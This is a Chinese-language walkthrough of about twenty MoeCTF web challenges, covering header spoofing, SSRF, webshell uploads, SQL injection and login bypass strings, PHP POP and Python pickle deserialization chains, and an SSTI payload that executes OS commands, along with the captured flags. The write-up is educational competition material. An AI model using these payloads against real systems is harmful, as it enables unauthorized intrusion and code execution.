目录
1、弗拉格之地的入口
2、垫刀之路01: MoeCTF?启动!
3、ez_http
4、ProveYourLove
5、弗拉格之地的挑战
6、ImageCloud前置
7、垫刀之路02: 普通的文件上传
8、垫刀之路03: 这是一个图床
9、垫刀之路05: 登陆网站
10、垫刀之路06: pop base mini moe
11、垫刀之路07: 泄漏的密码
12、垫刀之路04: 一个文件浏览器
13、静态网页
14、电院_Backend
15、pop moe
16、勇闯铜人阵
17、从零开始的 XDU 教书生活
18、who's blog?
19、ImageCloud
20、PetStore
21、smbms
1、弗拉格之地的入口
考点:robots.txt
拿到题目,看到爬虫想到robots.txt
尝试在url输入/robots.txt,发现入口,尝试跳转!
获得flag=moectf{conGR4tUlati0N_FOR_know1Ng-r0BoTs-TXt1260a}
2、垫刀之路01: MoeCTF?启动!
考点:Linux命令
题目说已经获得shell,则可以尝试先查看环境变量,使用set命令,获得flag
3、ez_http
考点: POST请求
题目要求使用POST请求访问
改包发送请求
提示传参imoau=sb,再次改包发送
在POST请求的基础上,传递 xt=大帅b,再改包
提示我们要改来源地址,想到添加Referer属性,再改包
提示我们要设置Cookie
告诉我们要修改浏览器标识,也就是User-agent
提示我们只允许本地访问,我们可以使用X-Forwarded-For来修改本地访问包
得到flag
4、ProveYourLove
考点:包修改和大量包的发送
拿到题目知道要发送300次请求才能通过
先发送一次抓包
改包尝试发送300次请求
再次刷新界面获得flag
5、弗拉格之地的挑战
考点:POST方法和GET方法
首先拿到这道题,给了个URL,尝试转到!
尝试F12打开控制台!,找到flag1: bW9lY3Rm和下一个链接
尝试转到/flag2hh.php
尝试抓包,发现链接/flag3cad.php 和 flag2: e0FmdEV
尝试转到/flag3cad.php
尝试GET方法传参a
尝试POST方法传参b
修改身份认证 admin,发送发现flag3: yX3RoMXN
跳转链接,发现说要指定从哪个链接跳转过来,这里我们可以想到Referer
修改包,给包未添加Referer标签,再次发送,成功进入第四关
观察代码,要获得flag要发送post请求包。修改包,尝试发送请求包,获得flag4: fdFVUMHJ和/flag5sxr.php
转到/flag5sxr.php
尝试发送请求,然后抓包
修改包内容,发现flag5: fSV90aDF 和 /flag6diw.php
转到 flag6diw.php
解析代码可知,需要用get方法和post方法分别传递moe变量,并且moe不能是flag,但可以是FLAG,构包发送。
发现flag6: rZV9VX2t和下一关的链接/flag7fxxkfinal.php
跳转/flag7fxxkfinal.php
看到一句话木马,尝试蚁剑连接。
查找根目录/发现flag7为rbm93X1dlQn0=
将flag1~flag7组合得到:
bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=
再尝试base64解密,得到flag。
6、ImageCloud前置
考点:ssrf攻击
先源代码审计 ,发现curl,可能存在ssrf攻击
<?php$url = $_GET['url'];$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, false);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);$res = curl_exec($ch);$image_info = getimagesizefromstring($res);$mime_type = $image_info['mime'];header('Content-Type: ' . $mime_type);curl_close($ch);echo $res;?>
尝试使用file协议访问 。
发现flag = moectf{i-aM-VerY-50rrY-a6out_THIs1a42fb1a}
7、垫刀之路02: 普通的文件上传
考点:一句话木马获取Webshell+文件上传
直接尝试上传一句话木马php文件,上传成功。
尝试蚁剑连接,连接成功!
尝试使用终端查看环境变量,发现flag=moectf{upL04d-y0uR_P@Y1OAd_aNd_d0_wH4t_YOuR-waNT7c0}
8、垫刀之路03: 这是一个图床
考点:一句话木马获取Webshell+文件上传绕过
看到文件上传按钮,尝试php文件上传。
发现被拦截,猜测可能前端验证,因为没有加载页面。
尝试修改后缀为.jpg上传,成功上传。
然后尝试蚁剑连接, 连接失败。
再尝试通过url访问,发现未被成功解析为php脚本文件,可能是后缀的问题,尝试抓包。
修改文件后缀为php,再次尝试蚁剑连接,连接成功!
尝试使用终端查看环境变量,发现flag=moectf{byp4ss-ThE-Mlme-TyPe_and_EXt3nSl0N_yoU-C4N_do_IT3}
9、垫刀之路05: 登陆网站
考点:sql注入+万能密钥
使用sqlmap检测是否有注入点,发现闭合符号单引号。
尝试万能密钥登录,成功获得flag
10、垫刀之路06: pop base mini moe
考点:php反序列化
分析以下代码,可以知道有两个类。首先是A类,带两个私有变量,和一个销毁时触发的__destruct()函数,观察该函数,发现私有变量a可以作为函数调用。其次是B类带有一个私有变量和__invoke函数,说明对象B可以作为函数被调用,而其私有变量b也可以作为函数被调用,所以可以得到私有变量a应该赋值对象B。
所以此时我们应该想到,变量a赋值的应该是对象b,变量evil应该赋值的是需要执行的命令,而对象B的私有变量b应该赋值一个可执行命令的函数,可以很容易想到php的system函数。那该怎么赋值呢? 这里采用了__construct赋值的方法,将对象B赋值给a,运行代码。
<?php class B { private $b="system"; function __invoke($c) { $s = $this->b; $s($c); }} class A { // 注意 private 属性的序列化哦 private $evil="ls"; // 如何赋值呢 private $a;public function __construct($x){$this->a=$x;} function __destruct() { $s = $this->a; $s($this->evil); }} $x=new B();$a=new A($x);echo serialize($a);echo urlencode(serialize($a)); ?>
得到序列化对象的URL编码。
O%3A1%3A%22A%22%3A2%3A%7Bs%3A7%3A%22%00A%00evil%22%3Bs%3A2%3A%22ls%22%3Bs%3A4%3A%22%00A%00a%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A4%3A%22%00B%00b%22%3Bs%3A6%3A%22system%22%3B%7D%7D
11、垫刀之路07: 泄漏的密码
考点:目录爆破+python系统代码执行
刚拿到,先尝试目录爆破,爆破出/console这个目录 ,尝试进入。
输入pin值进入后台。
尝试动态引入os,使用popen方法进行查看文件和打开文件。(单纯用system方法会返回0)
12、垫刀之路04: 一个文件浏览器
考点:url传参
尝试随便点一个链接观察url,发现可以修改url的path值浏览服务器的文件。
尝试修改查找flag,最终将path值修改成../../../tmp/flag成功找到flag
13、静态网页
考点:抓包+数组参数传递
点击下面的人,提示衣服是后端请求,这里我们尝试抓包。
查看抓到的三个包的第三个,发现网址final1l1l_challenge.php
]
尝试跳转发现要传参,获取flag。
分析代码可得:a是弱相等要传参非数字0,而b要传参数关联数组,构造以下包。
发送请求得到flag
14、电院_Backend
考点:目录爆破+万能密码
首先尝试目录爆破,发现后台admin
进入后台
尝试万能密码破解 ,得到flag。
2199029061@qq.com' || true #
15、pop moe
考点:Python反序列化
首先分析代码
<?phpclass class000 { private $payl0ad = 0; protected $what; public function __destruct() { $this->check(); } public function check() { if($this->payl0ad === 0) { die('FAILED TO ATTACK'); } $a = $this->what; $a(); }}class class001 { public $payl0ad; public $a; public function __invoke() { $this->a->payload = $this->payl0ad; }}class class002 { private $sec; public function __set($a, $b) { $this->$b($this->sec); } public function dangerous($whaattt) { $whaattt->evvval($this->sec); }}class class003 { public $mystr; public function evvval($str) { eval($str); } public function __tostring() { return $this->mystr; }}if(isset($_GET['data'])){ $a = unserialize($_GET['data']);}else { highlight_file(__FILE__);}
该方法接收GET方法,通过参数data传递。
该class000对象销毁时,会调用check函数,要想成功执行,则pay10ad必须为非0,而且a变量必须可以作为函数调用,则必须赋值class001。
该class001对象会向a对象的payload变量进行赋值,则我们可以想到set魔术方法,也就是说a必须赋值class002对象。
该class002对象带有set函数,其中set传参b,必须是一个函数可以调用,则我们可以想到可以传递dangerous()函数,而dangerous要调用what变量的evvval方法,则what应该赋值class003。
该class003对象,带有eval函数。也就是说$str应该传递执行系统命令的代码,这里有toString魔术方法,会返回mystr的值,那么则可以给mystr赋值系统命令,而class002的sec变量可以赋值class003,这样当class003被当成字符串的时候,会返回mystr变量的值。
所以总结写出pop反序列化链,代码如下:
<?phpclass class000 { private $payl0ad = '0'; protected $what;//函数对象class01public function __construct($x){$this->what=$x;} public function __destruct()//入口 { $this->check(); } public function check() { if($this->payl0ad === 0) { die('FAILED TO ATTACK'); } $a = $this->what; $a(); }}class class001 { public $payl0ad="dangerous"; public $a;//赋值class2public function __construct($x){$this->a=$x;} public function __invoke() { $this->a->payload = $this->payl0ad;//调用set方法 }}class class002 { private $sec;public function __construct($x){$this->sec=$x;} public function __set($a, $b) {//echo $this->$b; $this->$b($this->sec); } public function dangerous($whaattt) { $whaattt->evvval($this->sec);//调用类class003的函数, }}class class003 { public $mystr='system("set");'; public function evvval($str) { eval($str); } public function __tostring() { return $this->mystr; }}$class3=new class003();$class2=new class002($class3);$class1=new class001($class2);$class0=new class000($class1);echo urlencode(serialize($class0));//echo serialize($class0); ?>
16、勇闯铜人阵
考点:Requset库
该题写脚本进行爬取,模拟用户输入请求。
import requestsfrom lxml import htmlurl="http://127.0.0.1:58591/"session=requests.Session()data1={ 'player':1, 'direct':'弟子明白'}d1=["北方","东北方","东方","东南方","南方","西南方","西方","西北方"]d2=["北方一个","东北方一个","东方一个","东南方一个","南方一个","西南方一个","西方一个","西北方一个"]a=[1,2,3,4,5,6,7,8]r=session.post(url,data=data1)data_html=html.fromstring(r.text)b=data_html.xpath('/html/body/h1[2]/text()')strs=b[0].strip()n=5while(n): if len(strs)==1: data={ 'player':1, 'direct':str(d1[int(strs)-1]) } else : len(strs) data = { 'player': 1, 'direct': str(d2[int(strs[0])-1]+','+d2[int(strs[len(strs)-1])-1]) } print(data) r = session.post(url, data=data) print(r.text) data_html=html.fromstring(r.text) b=data_html.xpath('/html/body/h1[2]/text()') strs=b[0].strip() print(strs) n=n-1
17、从零开始的 XDU 教书生活
考点:Request库
主要就是要利用python的Request库,来模拟登录,和访问签到页面,用户的密码和账号涉及加密AES,需要编写对应的加密函数,可以从js脚本中获得(将JS代码转换python代码)。
import requestsimport base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str: key_bytes = key.encode("utf-8") iv_bytes = iv.encode("utf-8") cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) encrypted_bytes = base64.b64decode(encrypted) decrypted_bytes = cipher.decrypt(encrypted_bytes) pad = decrypted_bytes[-1] decrypted_bytes = decrypted_bytes[:-pad] decrypted = decrypted_bytes.decode("utf-8") return decrypteddef encrypt_by_aes(message: str, key: str) -> str: # 将密钥和消息转换为字节 key_bytes = key.encode("utf-8") # 假设密钥是UTF-8字符串 message_bytes = message.encode("utf-8") # 创建AES加密器,使用CBC模式 cipher = AES.new(key_bytes, AES.MODE_CBC, iv=key_bytes) # 对消息进行填充 padded_message = pad(message_bytes, AES.block_size) # 执行加密 encrypted_bytes = cipher.encrypt(padded_message) # 返回Base64编码的加密数据 return base64.b64encode(encrypted_bytes).decode("utf-8")f=open("1.txt", "r") lines=[]for i in f.readlines(): lines.append(i.strip('\n')) #去掉列表中每一个元素的换行符sesstion = requests.Session()key = "u2oh6Vu^HWe4_AES"iv = "u2oh6Vu^HWe4_AES"n=0for i in lines: n+=1 pwd=i phone=pwd AEStext=encrypt_by_aes(phone,key) datas={ 'uname':AEStext, 'password':AEStext, 't':"true" } res=sesstion.post("http://127.0.0.1:50979/fanyalogin",data=datas) print(sesstion.cookies) res=sesstion.get("http://127.0.0.1:50979/widget/sign/e?id=4000000000000&c=3774046904159&enc=9B3C4EE89853011BC957F8C80F269B26&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id") print(res.text) print("进度:"+str(n)+'/1024') # 9084575# 8687191# 3060289# 6199440# 1124453
18、who's blog?
考点:SSTI注入
{% for i in ().__class__.__base__.__subclasses__()%}{% if '_ModuleLock'== i.__name__ %}{{i.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}{% endif %}{% endfor %}
19、ImageCloud
考点:暴力破解+源码审计
从app2.py的代码里可以知道,该代码跑在5000-6000端口号上,从文件结构和代码可以想到通过app2.py文件访问uploads文件夹,即可得到flag。
访问即可得到flag
20、PetStore
考点:Pickle反序列化
Pickle反序列化时,会自动调用魔术方法__reduce__,该方法返回一个元组,可以执行任意代码,这里我采用将系统执行的结果反射到store的pets的值进行覆盖输出。
import pickleimport base64import uuidclass Pet: def __init__(self, name, species) -> None: self.name = name self.species = species self.uuid = uuid.uuid4() def __repr__(self) -> str: return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"class PetStore: def __init__(self) -> None: self.pets = [] def create_pet(self, name, species) -> None: pet = Pet(name, species) self.pets.append(pet) def get_pet(self, pet_uuid) -> Pet : for pet in self.pets: if str(pet.uuid) == pet_uuid: return pet return None def export_pet(self, pet_uuid) -> str : pet = self.get_pet(pet_uuid) if pet is not None: self.pets.remove(pet) serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8") return serialized_pet return None def import_pet(self, serialized_pet) -> bool: try: pet_data = base64.b64decode(serialized_pet) pet = pickle.loads(pet_data) if isinstance(pet, Pet): for i in self.pets: if i.uuid == pet.uuid: return False self.pets.append(pet) return True return False except Exception: return Falsestore = PetStore()class A: def __reduce__(self): return (exec,("store.create_pet(__import__('os').popen('echo $FLAG').read(),1)",))pet = A()serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")print(serialized_pet)pet_data = base64.b64decode(serialized_pet)repet=pickle.loads(pet_data)# FLAG='moectf{StARRyM30W'"'"'s-FL@g_hA5-been_@CC3Pt3d-4CAc4c@C2c}'print(store.pets)
引入base64的pickle的序列串,如下,然后刷新网页,即可得到flag。
gASVWwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw/c3RvcmUuY3JlYXRlX3BldChfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlY2hvICRGTEFHJykucmVhZCgpLDEplIWUUpQu
21、smbms
考点:弱密码+SQL注入
从附件的.sql文件中获取账号,和弱认证的问题,然后我们尝试弱密码爆破,得到管理员密码1234567。
进入系统后,发现只有用户管理这个 页面的搜索功能可以使用,尝试源代码审计。
代码审计,找到查询用户的逻辑代码,发现存在字符串拼接,则存在SQL注入漏洞。
尝试联合注入,得到flag。
邓超%' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,flag from flag limit ?,? --